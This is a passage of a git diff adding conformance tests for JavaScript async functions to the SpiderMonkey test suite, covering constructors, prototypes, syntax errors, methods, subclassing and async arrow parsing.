+fn = Reflect.construct(MyAsync, []);
+assertEq(fn instanceof MyAsync, true);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+fn = Reflect.construct(MyAsync, [], MyAsync);
+assertEq(fn instanceof MyAsync, true);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+fn = Reflect.construct(MyAsync, [], AsyncFunction);
+assertEq(fn instanceof MyAsync, false);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+
+// Set a different constructor as NewTarget.
+fn = Reflect.construct(MyAsync, [], Array);
+assertEq(fn instanceof MyAsync, false);
+assertEq(fn instanceof AsyncFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+fn = Reflect.construct(AsyncFunction, [], Array);
+assertEq(fn instanceof AsyncFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+
+// The prototype defaults to %AsyncFunctionPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+fn = Reflect.construct(AsyncFunction, [], NewTargetNullPrototype);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+fn = Reflect.construct(MyAsync, [], NewTargetNullPrototype);
+assertEq(fn instanceof MyAsync, false);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(AsyncFunction, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+fn = Reflect.construct(AsyncFunction, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/constructor.js b/js/src/tests/non262/async-functions/constructor.js
new file mode 100644
index 0000000000..ccacb4363a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/constructor.js
@@ -0,0 +1,33 @@
+var BUGNUMBER = 1185106;
+var summary = "async function constructor and prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+var f1 = async function() {};
+
+var AsyncFunction = f1.constructor;
+var AsyncFunctionPrototype = AsyncFunction.prototype;
+
+assertEq(AsyncFunction.name, "AsyncFunction");
+assertEq(AsyncFunction.length, 1);
+assertEq(Object.getPrototypeOf(async function() {}), AsyncFunctionPrototype);
+
+assertEq(AsyncFunctionPrototype.constructor, AsyncFunction);
+
+var f2 = AsyncFunction("await 1");
+assertEq(f2.constructor, AsyncFunction);
+assertEq(f2.length, 0);
+assertEq(Object.getPrototypeOf(f2), AsyncFunctionPrototype);
+
+var f3 = new AsyncFunction("await 1");
+assertEq(f3.constructor, AsyncFunction);
+assertEq(f3.length, 0);
+assertEq(Object.getPrototypeOf(f3), AsyncFunctionPrototype);
+
+var f4 = AsyncFunction("a", "b", "c", "await 1");
+assertEq(f4.constructor, AsyncFunction);
+assertEq(f4.length, 3);
+assertEq(Object.getPrototypeOf(f4), AsyncFunctionPrototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/cover-init-name-syntax.js b/js/src/tests/non262/async-functions/cover-init-name-syntax.js
new file mode 100644
index 0000000000..cb7858a67a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/cover-init-name-syntax.js
@@ -0,0 +1,65 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// CoverInitName in async arrow parameters.
+async ({a = 1}) => {};
+async ({a = 1}, {b = 2}) => {};
+async ({a = 1}, {b = 2}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2} = {}, {c = 3}) => {};
+async ({a = 1} = {}, {b = 2} = {}, {c = 3} = {}) => {};
+
+// CoverInitName nested in array destructuring.
+async ([{a = 0}]) => {};
+
+// CoverInitName nested in rest pattern.
+async ([...[{a = 0}]]) => {};
+
+// CoverInitName nested in object destructuring.
+async ({p: {a = 0}}) => {};
+
+// CoverInitName in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+// Starts with "async", but not called from AssignmentExpression.
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ typeof async({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+// CoverInitName in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ obj.async({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js b/js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js
new file mode 100644
index 0000000000..413236ec16
--- /dev/null
+++ b/js/src/tests/non262/async-functions/create-function-parse-before-getprototype.js
@@ -0,0 +1,19 @@
+var getProtoCalled = false;
+
+var newTarget = Object.defineProperty(function(){}.bind(), "prototype", {
+ get() {
+ getProtoCalled = true;
+ return null;
+ }
+});
+
+var AsyncFunction = async function(){}.constructor;
+
+assertThrowsInstanceOf(() => {
+ Reflect.construct(AsyncFunction, ["@error"], newTarget);
+}, SyntaxError);
+
+assertEq(getProtoCalled, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/duplicate-__proto__.js b/js/src/tests/non262/async-functions/duplicate-__proto__.js
new file mode 100644
index 0000000000..d60b052484
--- /dev/null
+++ b/js/src/tests/non262/async-functions/duplicate-__proto__.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Async arrow function parameters.
+async ({__proto__: a, __proto__: b}) => {};
+
+// Async arrow function parameters with defaults (initially parsed as destructuring assignment).
+async ({__proto__: a, __proto__: b} = {}) => {};
+
+// Duplicate __proto__ in CoverCallExpressionAndAsyncArrowHead, but not AsyncArrowHead.
+assertThrowsInstanceOf(() => eval(`
+ NotAsync({__proto__: a, __proto__: b});
+`), SyntaxError);
+
+// Starts with "async", but not called from AssignmentExpression.
+assertThrowsInstanceOf(() => eval(`
+ typeof async({__proto__: a, __proto__: b});
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/forbidden-as-consequent.js b/js/src/tests/non262/async-functions/forbidden-as-consequent.js
new file mode 100644
index 0000000000..656ed46deb
--- /dev/null
+++ b/js/src/tests/non262/async-functions/forbidden-as-consequent.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertThrowsInstanceOf(() => eval("if (1) async function foo() {}"),
+ SyntaxError);
+assertThrowsInstanceOf(() => eval("'use strict'; if (1) async function foo() {}"),
+ SyntaxError);
+
+var async = 42;
+assertEq(eval("if (1) async \n function foo() {}"), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/identity.js b/js/src/tests/non262/async-functions/identity.js
new file mode 100644
index 0000000000..f3876bf233
--- /dev/null
+++ b/js/src/tests/non262/async-functions/identity.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1185106;
+var summary = "Named async function expression should get wrapped function for the name inside it";
+
+print(BUGNUMBER + ": " + summary);
+
+var expr = async function foo() {
+ return foo;
+};
+assertEventuallyEq(expr(), expr);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/inner-caller.js b/js/src/tests/non262/async-functions/inner-caller.js
new file mode 100644
index 0000000000..f76f978f01
--- /dev/null
+++ b/js/src/tests/non262/async-functions/inner-caller.js
@@ -0,0 +1,17 @@
+function g() {
+ return g.caller;
+}
+
+(async function f() {
+ var inner = g();
+ assertEq(inner, null);
+})();
+
+(async function f() {
+ "use strict";
+ var inner = g();
+ assertEq(inner, null);
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/length.js b/js/src/tests/non262/async-functions/length.js
new file mode 100644
index 0000000000..da95e23b89
--- /dev/null
+++ b/js/src/tests/non262/async-functions/length.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1185106;
+var summary = "async function length";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(async function() {}.length, 0);
+assertEq(async function(a) {}.length, 1);
+assertEq(async function(a, b, c) {}.length, 3);
+assertEq(async function(a, b, c, ...d) {}.length, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/methods.js b/js/src/tests/non262/async-functions/methods.js
new file mode 100644
index 0000000000..061a0e8267
--- /dev/null
+++ b/js/src/tests/non262/async-functions/methods.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+var BUGNUMBER = 1185106;
+var summary = "async methods semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+class X {
+ constructor() {
+ this.value = 42;
+ }
+ async getValue() {
+ return this.value;
+ }
+ setValue(value) {
+ this.value = value;
+ }
+ async increment() {
+ var value = await this.getValue();
+ this.setValue(value + 1);
+ return this.getValue();
+ }
+ async getBaseClassName() {
+ return 'X';
+ }
+ static async getStaticValue() {
+ return 44;
+ }
+ async 10() {
+ return 46;
+ }
+ async ["foo"]() {
+ return 47;
+ }
+}
+
+class Y extends X {
+ async getBaseClassName() {
+ return super.getBaseClassName();
+ }
+}
+
+var objLiteral = {
+ async get() {
+ return 45;
+ },
+ someStuff: 5
+};
+
+var x = new X();
+var y = new Y();
+
+assertEventuallyEq(x.getValue(), 42);
+assertEventuallyEq(x.increment(), 43);
+assertEventuallyEq(x[10](), 46);
+assertEventuallyEq(x.foo(), 47);
+assertEventuallyEq(X.getStaticValue(), 44);
+assertEventuallyEq(objLiteral.get(), 45);
+assertEventuallyEq(y.getBaseClassName(), 'X');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/no-expression-closure.js b/js/src/tests/non262/async-functions/no-expression-closure.js
new file mode 100644
index 0000000000..44d139fe41
--- /dev/null
+++ b/js/src/tests/non262/async-functions/no-expression-closure.js
@@ -0,0 +1,17 @@
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { eval(code); }, SyntaxError, "eval:" + code);
+ var ieval = eval;
+ assertThrowsInstanceOf(function () { ieval(code); }, SyntaxError, "indirect eval:" + code);
+}
+
+// AsyncFunction statement
+assertSyntaxError(`async function f() 0`);
+
+// AsyncFunction expression
+assertSyntaxError(`void async function() 0`);
+assertSyntaxError(`void async function f() 0`);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/parameters-error-reject-promise.js b/js/src/tests/non262/async-functions/parameters-error-reject-promise.js
new file mode 100644
index 0000000000..a6cca7cdde
--- /dev/null
+++ b/js/src/tests/non262/async-functions/parameters-error-reject-promise.js
@@ -0,0 +1,56 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+class ExpectedError extends Error {
+ name = "ExpectedError";
+}
+
+class UnexpectedError extends Error {
+ name = "UnexpectedError";
+}
+
+function throwExpectedError() {
+ throw new ExpectedError();
+}
+
+async function throwsInParameterExpression(a = throwExpectedError()) {
+ throw new UnexpectedError();
+}
+assertEventuallyThrows(throwsInParameterExpression(), ExpectedError);
+
+async function throwsInObjectDestructuringParameterEmpty({}) {
+ throw new UnexpectedError();
+}
+assertEventuallyThrows(throwsInObjectDestructuringParameterEmpty(), TypeError);
+
+let objectThrowingExpectedError = {
+ get a() {
+ throw new ExpectedError();
+ }
+}
+
+async function throwsInObjectDestructuringParameter({a}) {
+ throw new UnexpectedError();
+}
+assertEventuallyThrows(throwsInObjectDestructuringParameter(), TypeError);
+assertEventuallyThrows(throwsInObjectDestructuringParameter(objectThrowingExpectedError), ExpectedError);
+
+let iteratorThrowingExpectedError = {
+ [Symbol.iterator]() {
+ throw new ExpectedError();
+ }
+};
+
+async function throwsInArrayDestructuringParameterEmpty([]) {
+ throw new UnexpectedError();
+}
+assertEventuallyThrows(throwsInArrayDestructuringParameterEmpty(), TypeError);
+assertEventuallyThrows(throwsInArrayDestructuringParameterEmpty(iteratorThrowingExpectedError), ExpectedError);
+
+async function throwsInArrayDestructuringParameter([a]) {
+ throw new UnexpectedError();
+}
+assertEventuallyThrows(throwsInArrayDestructuringParameter(), TypeError);
+assertEventuallyThrows(throwsInArrayDestructuringParameter(iteratorThrowingExpectedError), ExpectedError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/properties.js b/js/src/tests/non262/async-functions/properties.js
new file mode 100644
index 0000000000..ca383901bb
--- /dev/null
+++ b/js/src/tests/non262/async-functions/properties.js
@@ -0,0 +1,76 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertOwnDescriptor(object, propertyKey, expected) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ if (desc === undefined) {
+ assertEq(expected, undefined, "Property shouldn't be present");
+ return;
+ }
+
+ assertEq(desc.enumerable, expected.enumerable, `${String(propertyKey)}.[[Enumerable]]`);
+ assertEq(desc.configurable, expected.configurable, `${String(propertyKey)}.[[Configurable]]`);
+
+ if (Object.prototype.hasOwnProperty.call(desc, "value")) {
+ assertEq(desc.value, expected.value, `${String(propertyKey)}.[[Value]]`);
+ assertEq(desc.writable, expected.writable, `${String(propertyKey)}.[[Writable]]`);
+ } else {
+ assertEq(desc.get, expected.get, `${String(propertyKey)}.[[Get]]`);
+ assertEq(desc.set, expected.set, `${String(propertyKey)}.[[Set]]`);
+ }
+}
+
+async function asyncFunc(){}
+var AsyncFunctionPrototype = Object.getPrototypeOf(asyncFunc);
+var AsyncFunction = AsyncFunctionPrototype.constructor;
+
+
+// ES2017, 25.5.2 Properties of the AsyncFunction Constructor
+
+assertEqArray(Object.getOwnPropertyNames(AsyncFunction).sort(), ["length", "name", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(AsyncFunction), []);
+
+assertOwnDescriptor(AsyncFunction, "length", {
+ value: 1, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(AsyncFunction, "name", {
+ value: "AsyncFunction", writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(AsyncFunction, "prototype", {
+ value: AsyncFunctionPrototype, writable: false, enumerable: false, configurable: false
+});
+
+
+// ES2017, 25.5.3 Properties of the AsyncFunction Prototype Object
+
+assertEqArray(Object.getOwnPropertyNames(AsyncFunctionPrototype).sort(), ["constructor"]);
+assertEqArray(Object.getOwnPropertySymbols(AsyncFunctionPrototype), [Symbol.toStringTag]);
+
+assertOwnDescriptor(AsyncFunctionPrototype, "constructor", {
+ value: AsyncFunction, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(AsyncFunctionPrototype, Symbol.toStringTag, {
+ value: "AsyncFunction", writable: false, enumerable: false, configurable: true
+});
+
+
+// ES2017, 25.5.4 AsyncFunction Instances
+
+assertEqArray(Object.getOwnPropertyNames(asyncFunc).sort(), ["length", "name"]);
+assertEqArray(Object.getOwnPropertySymbols(asyncFunc), []);
+
+assertOwnDescriptor(asyncFunc, "length", {
+ value: 0, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(asyncFunc, "name", {
+ value: "asyncFunc", writable: false, enumerable: false, configurable: true
+});
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/property.js b/js/src/tests/non262/async-functions/property.js
new file mode 100644
index 0000000000..53f779c330
--- /dev/null
+++ b/js/src/tests/non262/async-functions/property.js
@@ -0,0 +1,49 @@
+var BUGNUMBER = 1185106;
+var summary = "async name token in property and object destructuring pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+{
+ let a = { async: 10 };
+ assertEq(a.async, 10);
+}
+
+{
+ let a = { async() {} };
+ assertEq(a.async instanceof Function, true);
+ assertEq(a.async.name, "async");
+}
+
+{
+ let async = 11;
+ let a = { async };
+ assertEq(a.async, 11);
+}
+
+{
+ let { async } = { async: 12 };
+ assertEq(async, 12);
+}
+
+{
+ let { async = 13 } = {};
+ assertEq(async, 13);
+}
+
+{
+ let { async: a = 14 } = {};
+ assertEq(a, 14);
+}
+
+{
+ let { async, other } = { async: 15, other: 16 };
+ assertEq(async, 15);
+ assertEq(other, 16);
+
+ let a = { async, other };
+ assertEq(a.async, 15);
+ assertEq(a.other, 16);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/semantics.js b/js/src/tests/non262/async-functions/semantics.js
new file mode 100644
index 0000000000..5814890a63
--- /dev/null
+++ b/js/src/tests/non262/async-functions/semantics.js
@@ -0,0 +1,169 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+var BUGNUMBER = 1185106;
+var summary = "async functions semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+async function empty() {
+}
+assertEventuallyEq(empty(), undefined);
+
+async function simpleReturn() {
+ return 1;
+}
+assertEventuallyEq(simpleReturn(), 1);
+
+async function simpleAwait() {
+ var result = await 2;
+ return result;
+}
+assertEventuallyEq(simpleAwait(), 2);
+
+async function simpleAwaitAsync() {
+ var result = await simpleReturn();
+ return 2 + result;
+}
+assertEventuallyEq(simpleAwaitAsync(), 3);
+
+async function returnOtherAsync() {
+ return 1 + await simpleAwaitAsync();
+}
+assertEventuallyEq(returnOtherAsync(), 4);
+
+async function simpleThrower() {
+ throw new Error();
+}
+assertEventuallyThrows(simpleThrower(), Error);
+
+async function delegatedThrower() {
+ var val = await simpleThrower();
+ return val;
+}
+
+async function tryCatch() {
+ try {
+ await delegatedThrower();
+ return 'FAILED';
+ } catch (_) {
+ return 5;
+ }
+}
+assertEventuallyEq(tryCatch(), 5);
+
+async function tryCatchThrow() {
+ try {
+ await delegatedThrower();
+ return 'FAILED';
+ } catch (_) {
+ return delegatedThrower();
+ }
+}
+assertEventuallyThrows(tryCatchThrow(), Error);
+
+async function wellFinally() {
+ try {
+ await delegatedThrower();
+ } catch (_) {
+ return 'FAILED';
+ } finally {
+ return 6;
+ }
+}
+assertEventuallyEq(wellFinally(), 6);
+
+async function finallyMayFail() {
+ try {
+ await delegatedThrower();
+ } catch (_) {
+ return 5;
+ } finally {
+ return delegatedThrower();
+ }
+}
+assertEventuallyThrows(finallyMayFail(), Error);
+
+async function embedded() {
+ async function inner() {
+ return 7;
+ }
+ return await inner();
+}
+assertEventuallyEq(embedded(), 7);
+
+// recursion, it works!
+async function fib(n) {
+ return (n == 0 || n == 1) ? n : await fib(n - 1) + await fib(n - 2);
+}
+assertEventuallyEq(fib(6), 8);
+
+// mutual recursion
+async function isOdd(n) {
+ async function isEven(n) {
+ return n === 0 || await isOdd(n - 1);
+ }
+ return n !== 0 && await isEven(n - 1);
+}
+assertEventuallyEq(isOdd(12).then(v => v ? "oops" : 12), 12);
+
+// recursion, take three!
+var hardcoreFib = async function fib2(n) {
+ return (n == 0 || n == 1) ? n : await fib2(n - 1) + await fib2(n - 2);
+}
+assertEventuallyEq(hardcoreFib(7), 13);
+
+var asyncExpr = async function() {
+ return 10;
+}
+assertEventuallyEq(asyncExpr(), 10);
+
+var namedAsyncExpr = async function simple() {
+ return 11;
+}
+assertEventuallyEq(namedAsyncExpr(), 11);
+
+async function executionOrder() {
+ var value = 0;
+ async function first() {
+ return (value = value === 0 ? 1 : value);
+ }
+ async function second() {
+ return (value = value === 0 ? 2 : value);
+ }
+ async function third() {
+ return (value = value === 0 ? 3 : value);
+ }
+ return await first() + await second() + await third() + 6;
+}
+assertEventuallyEq(executionOrder(), 9);
+
+async function miscellaneous() {
+ if (arguments.length === 3 &&
+ arguments.callee.name === "miscellaneous")
+ return 14;
+}
+assertEventuallyEq(miscellaneous(1, 2, 3), 14);
+
+function thrower() {
+ throw 15;
+}
+
+async function defaultArgs(arg = thrower()) {
+}
+assertEventuallyEq(defaultArgs().catch(e => e), 15);
+
+let arrowAwaitExpr = async () => await 2;
+assertEventuallyEq(arrowAwaitExpr(), 2);
+
+let arrowAwaitBlock = async () => { return await 2; };
+assertEventuallyEq(arrowAwaitBlock(), 2);
+
+// Async functions are not constructible
+assertThrowsInstanceOf(() => {
+ async function Person() {
+
+ }
+ new Person();
+}, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/shell.js b/js/src/tests/non262/async-functions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/async-functions/shell.js
diff --git a/js/src/tests/non262/async-functions/subclass.js b/js/src/tests/non262/async-functions/subclass.js
new file mode 100644
index 0000000000..da20ab19b8
--- /dev/null
+++ b/js/src/tests/non262/async-functions/subclass.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const AsyncFunction = async function(){}.constructor;
+
+class MyAsync extends AsyncFunction {}
+
+// MyGen inherits from %AsyncFunction%.
+assertEq(Object.getPrototypeOf(MyAsync), AsyncFunction);
+
+// MyGen.prototype inherits from %AsyncFunctionPrototype%.
+assertEq(Object.getPrototypeOf(MyAsync.prototype), AsyncFunction.prototype);
+
+var fn = new MyAsync("return await 'ok';");
+
+// fn inherits from MyAsync.prototype.
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+// Ensure the new async function can be executed.
+var promise = fn();
+
+// promise inherits from %Promise.prototype%.
+assertEq(Object.getPrototypeOf(promise), Promise.prototype);
+
+// Computes the expected result.
+assertEventuallyEq(promise, "ok");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/syntax-arrow.js b/js/src/tests/non262/async-functions/syntax-arrow.js
new file mode 100644
index 0000000000..a2c96e7dd9
--- /dev/null
+++ b/js/src/tests/non262/async-functions/syntax-arrow.js
@@ -0,0 +1,104 @@
+var BUGNUMBER = 1185106;
+var summary = "async arrow function syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // Parameters.
+ Reflect.parse("async () => 1");
+ Reflect.parse("async a => 1");
+ Reflect.parse("async (a) => 1");
+ Reflect.parse("async async => 1");
+ Reflect.parse("async (async) => 1");
+ Reflect.parse("async ([a]) => 1");
+ Reflect.parse("async ([a, b]) => 1");
+ Reflect.parse("async ({a}) => 1");
+ Reflect.parse("async ({a, b}) => 1");
+
+ assertThrowsInstanceOf(() => Reflect.parse("async await => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async (await) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ([await]) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ({await}) => 1"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async (a=await) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ([a=await]) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ({a=await}) => 1"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async (a=await 1) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ([a=await 1]) => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async ({a=await 1}) => 1"), SyntaxError);
+
+ assertThrowsInstanceOf(() => Reflect.parse("async [a] => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async [a, b] => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async {a} => 1"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async {a: b} => 1"), SyntaxError);
+
+ // Expression body.
+ Reflect.parse("async a => a == b");
+
+ // Expression body with nested async function.
+ Reflect.parse("async a => async");
+ Reflect.parse("async a => async b => c");
+ Reflect.parse("async a => async function() {}");
+ Reflect.parse("async a => async function b() {}");
+
+ assertThrowsInstanceOf(() => Reflect.parse("async a => async b"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async a => async function"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async a => async function()"), SyntaxError);
+
+ // Expression body with `await`.
+ Reflect.parse("async a => await 1");
+ Reflect.parse("async a => await await 1");
+ Reflect.parse("async a => await await await 1");
+
+ assertThrowsInstanceOf(() => Reflect.parse("async a => await"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("async a => await await"), SyntaxError);
+
+ // `await` is Unary Expression and it cannot have `async` function as an
+ // operand.
+ assertThrowsInstanceOf(() => Reflect.parse("async a => await async X => Y"), SyntaxError);
+ Reflect.parse("async a => await (async X => Y)");
+ // But it can have `async` identifier as an operand.
+ Reflect.parse("async async => await async");
+
+ // Block body.
+ Reflect.parse("async X => {yield}");
+
+ // `yield` handling.
+ Reflect.parse("async X => yield");
+ Reflect.parse("async yield => X");
+ Reflect.parse("async yield => yield");
+ Reflect.parse("async X => {yield}");
+
+ Reflect.parse("async X => {yield}");
+ Reflect.parse("async yield => {X}");
+ Reflect.parse("async yield => {yield}");
+ Reflect.parse("function* g() { async X => yield }");
+
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async yield => X"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async (yield) => X"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async X => yield"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async X => {yield}"), SyntaxError);
+
+ assertThrows(() => Reflect.parse("function* g() { async yield => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async (yield) => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async ([yield]) => X }"));
+ assertThrows(() => Reflect.parse("function* g() { async ({yield}) => X }"));
+
+ // Not async functions.
+ Reflect.parse("async ()");
+ Reflect.parse("async (a)");
+ Reflect.parse("async (async)");
+ Reflect.parse("async ([a])");
+ Reflect.parse("async ([a, b])");
+ Reflect.parse("async ({a})");
+ Reflect.parse("async ({a, b})");
+
+ // Async arrow function is assignment expression.
+ Reflect.parse("a ? async () => {1} : b");
+ Reflect.parse("a ? b : async () => {1}");
+ assertThrowsInstanceOf(() => Reflect.parse("async () => {1} ? a : b"), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/syntax-modules.js b/js/src/tests/non262/async-functions/syntax-modules.js
new file mode 100644
index 0000000000..265ece9264
--- /dev/null
+++ b/js/src/tests/non262/async-functions/syntax-modules.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1185106;
+var summary = "async/await syntax in module";
+
+print(BUGNUMBER + ": " + summary);
+
+if (typeof parseModule === "function") {
+ parseModule("async function f() { await 3; }");
+ parseModule("async function f() { await 3; }");
+ assertThrowsInstanceOf(() => parseModule("function f() { await 5; }"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("() => { await 5; }"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("export var await;"), SyntaxError);
+ assertThrowsInstanceOf(() => parseModule("await => 1;"), SyntaxError);
